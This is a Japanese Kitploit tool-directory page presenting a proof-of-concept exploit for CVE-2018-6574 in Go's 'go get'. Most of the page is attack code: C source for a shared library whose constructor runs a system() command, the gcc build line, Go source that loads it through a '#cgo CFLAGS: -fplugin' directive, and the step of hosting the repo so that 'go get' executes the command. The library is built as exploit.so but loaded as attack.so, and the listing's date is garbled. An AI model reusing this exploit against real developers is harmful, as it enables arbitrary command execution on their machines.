Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2018-6574 | Kitploit
ツール/GitHubGitHub/itsfading/cve-2018-6574
脆弱性分析エクスプロイトシェルコードウェブアプリケーション悪用ペイロード開発バイナリエクスプロイト
GitHubitsfading/cve-2018-6574

CVE-2018-6574

リポジトリを見る
114年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2018-6574 POC

CVE-2018-6574 用のエクスプロイト POC

コンパイル

  1. 以下の内容でエクスプロイトファイルを作成します:
root@kitploit:~
#include<stdio.h>
#include<stdlib.h>

static void malicious() __attribute__((constructor));

void malicious() {
    system("COMMAND");
}
  1. コンパイルします:
root@kitploit:~
gcc -shared -o exploit.so -fPIC exploit.c
  1. 最後に、cgo にプラグインを使用させる Go コードが必要です:
root@kitploit:~
package main
// #cgo CFLAGS: -fplugin=./attack.so
// typedef int (*intFunc) ();
//
// int
// bridge_int_func(intFunc f)
// {
//      return f();
// }
//
// int fortytwo()
// {
//      return 42;
// }
import "C"
import "fmt"

func main() {
    f := C.intFunc(C.fortytwo)
    fmt.Println(int(C.bridge_int_func(f)))
    // Output: 42
}
  1. 次に GitHub でホストして実行し、コマンド実行を獲得します:
root@kitploit:~
go get github.com/your-repo/CVE-2018-6574-POC

バージョン

  • 1.8.7 より前
  • 1.9.4 より前
  • Go 1.10rc2 より前

参考

  • https://nvd.nist.gov/vuln/detail/CVE-2018-6574
  • http://blog.nsfocus.net/cve-2018-6574/
ツールをダウンロード